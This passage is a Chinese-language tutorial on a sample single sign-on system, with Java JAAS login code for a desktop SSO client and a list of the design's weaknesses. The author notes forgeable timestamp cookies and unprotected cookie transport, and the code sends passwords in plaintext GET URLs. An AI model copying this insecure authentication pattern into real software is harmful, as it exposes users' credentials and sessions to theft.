在本方案中,cookie是有一个固定的字符串(我的姓名)加上当前的时间戳。这样的cookie很容易被伪造和猜测。怀有恶意的用户如果猜测到合法的cookie就可以被当作已经登录的用户,任意访问权限范围内的资源 - cookie的效验和保护
在本方案中,虽然密码只要传输一次就够了,可cookie在网络中是经常传来传去。一些网络探测工具(如sniff, snoop,tcpdump等)可以很容易捕获到cookie的数值。在本方案中,并没有考虑cookie在传输时候的保护。另外对cookie的效验也过于简单,并不去检查发送cookie的来源究竟是不是cookie最初的拥有者,也就是说无法区分正常的用户和仿造cookie的用户。 - 当其中一个应用的安全性不好,其他所有的应用都会受到安全威胁
因为有SSO,所以当某个处于 SSO的应用被黒客攻破,那么很容易攻破其他处于同一个SSO保护的应用。
- 当前所提供的登录认证模式只有一种:用户名和密码,而且为了简单,将用户名和密码放在内存当中。事实上,用户身份信息的来源应该是多种多样的,可以是来自数据库中,LDAP中,甚至于来自操作系统自身的用户列表。还有很多其他的认证模式都是商务应用不可缺少的,因此SSO的解决方案应该包括各种认证的模式,包括数字证书,Radius, SafeWord ,MemberShip,SecurID等多种方式。最为灵活的方式应该允许可插入的JAAS框架来扩展身份认证的接口
- 我们编写的Filter只能用于J2EE的应用,而对于大量非Java的Web应用,却无法提供SSO服务。
- 在将Filter应用到Web应用的时候,需要对容器上的每一个应用都要做相应的修改,重新部署。而更加流行的做法是Agent机制:为每一个应用服务器安装一个agent,就可以将SSO功能应用到这个应用服务器中的所有应用。
- 当前的方案不能支持分别位于不同domain的Web应用进行SSO。这是因为浏览器在访问Web服务器的时候,仅仅会带上和当前web服务器具有相同domain名称的那些cookie。要提供跨域的SSO的解决方案有很多其他的方法,在这里就不多说了。Sun的Access Manager就具有跨域的SSO的功能。
- 另外,Filter的性能问题也是需要重视的方面。因为Filter会截获每一个符合URL映射规则的请求,获得cookie,验证其有效性。这一系列任务是比较消耗资源的,特别是验证cookie有效性是一个远程的http的调用,来访问SSOAuth的认证服务,有一定的延时。因此在性能上需要做进一步的提高。例如在本样例中,如果将URL映射从“.jsp”改成“/*”,也就是说filter对所有的请求都起作用,整个应用会变得非常慢。这是因为,页面当中包含了各种静态元素如gif图片,css样式文件,和其他html静态页面,这些页面的访问都要通过filter去验证。而事实上,这些静态元素没有什么安全上的需求,应该在filter中进行判断,不去效验这些请求,性能会好很多。另外,如果在filter中加上一定的cache,而不需要每一个cookie效验请求都去远端的身份认证服务中执行,性能也能大幅度提高。
- 另外系统还需要很多其他的服务,如在内存中定时删除无用的cookie映射等等,都是一个严肃的解决方案需要考虑的问题。
- 运行此桌面SSO需要三个前提条件:
a) WEB-SSO的身份认证应用应该正在运行,因为我们在桌面SSO当中需要用到统一的认证服务
b) 当前桌面需要运行Mozilla或Netscape浏览器,因为我们将ticket保存到mozilla的cookie文件中
c) 必须在JDK1.4以上运行。(WEB-SSO需要JDK1.5以上) - 解开desktopsso.zip文件,里面有两个目录bin和lib。
- bin目录下有一些脚本文件和配置文件,其中config.properties包含了三个需要配置的参数:
a) SSOServiceURL要指向WebSSO部署的身份认证的URL
b) SSOLoginPage要指向WebSSO部署的身份认证的登录页面URL
c) cookiefilepath要指向当前用户的mozilla所存放cookie的文件 - 在bin目录下还有一个login.conf是用来配置JAAS登录模块,本样例提供了两个,读者可以任意选择其中一个(也可以都选),再重新运行程序,查看登录认证的变化
- 在bin下的运行脚本可能需要作相应的修改
a) 如果是在unix下,各个jar文件需要用“:”来隔开,而不是“;”
b) java 运行程序需要放置在当前运行的路径下,否则需要加上java的路径全名。
DesktopSSO {
desktopsso.share.PasswordLoginModule required;
desktopsso.share.DesktopSSOLoginModule required;
};
|
public class DesktopSSOLoginModule implements LoginModule {
..........
private String SSOServiceURL = "";
private String SSOLoginPage = "";
private static String cookiefilepath = "";
.........
|
SSOServiceURL=http://wangyu.prc.sun.com:8080/SSOAuth/SSOAuth
SSOLoginPage=http://wangyu.prc.sun.com:8080/SSOAuth/login.jsp
cookiefilepath=C:\\Documents and Settings\\yw137672\\Application Data\\Mozilla\\Profiles\\default\\hog6z1ji.slt\\cookies.txt
|
public boolean login() throws LoginException{
try {
if (Cookielogin()) return true;
} catch (IOException ex) {
ex.printStackTrace();
}
if (passwordlogin()) return true;
throw new FailedLoginException();
}
|
public boolean Cookielogin() throws LoginException,IOException {
String cookieValue="";
int cookieIndex =foundCookie();
if (cookieIndex<0)
return false;
else
cookieValue = getCookieValue(cookieIndex);
username = cookieAuth(cookieValue);
if (! username.equals("failed")) {
loginSuccess = true;
return true;
}
return false;
}
|
public boolean passwordlogin() throws LoginException {
//
// Since we need input from a user, we need a callback handler
if (callbackHandler == null) {
throw new LoginException("No CallbackHandler defined");
}
Callback[] callbacks = new Callback[2];
callbacks[0] = new NameCallback("Username");
callbacks[1] = new PasswordCallback("Password", false);
//
// Call the callback handler to get the username and password
try {
callbackHandler.handle(callbacks);
username = ((NameCallback)callbacks[0]).getName();
char[] temp = ((PasswordCallback)callbacks[1]).getPassword();
password = new char[temp.length];
System.arraycopy(temp, 0, password, 0, temp.length);
((PasswordCallback)callbacks[1]).clearPassword();
} catch (IOException ioe) {
throw new LoginException(ioe.toString());
} catch (UnsupportedCallbackException uce) {
throw new LoginException(uce.toString());
}
System.out.println();
String authresult ="";
try {
authresult = userAuth(username, password);
} catch (IOException ex) {
ex.printStackTrace();
}
if (! authresult.equals("failed")) {
loginSuccess= true;
clearPassword();
try {
updateCookie(authresult);
} catch (IOException ex) {
ex.printStackTrace();
}
return true;
}
loginSuccess = false;
username = null;
clearPassword();
System.out.println( "Login: PasswordLoginModule FAIL" );
throw new FailedLoginException();
}
|
private String cookieAuth(String cookievalue) throws IOException{
String result = "failed";
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+Action1+cookievalue);
try {
httpclient.executeMethod(httpget);
result = httpget.getResponseBodyAsString();
} finally {
httpget.releaseConnection();
}
return result;
}
private String userAuth(String username, char[] password) throws IOException{
String result = "failed";
String passwd= new String(password);
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+Action2+username+"&password="+passwd);
passwd = null;
try {
httpclient.executeMethod(httpget);
result = httpget.getResponseBodyAsString();
} finally {
httpget.releaseConnection();
}
return result;
}
|
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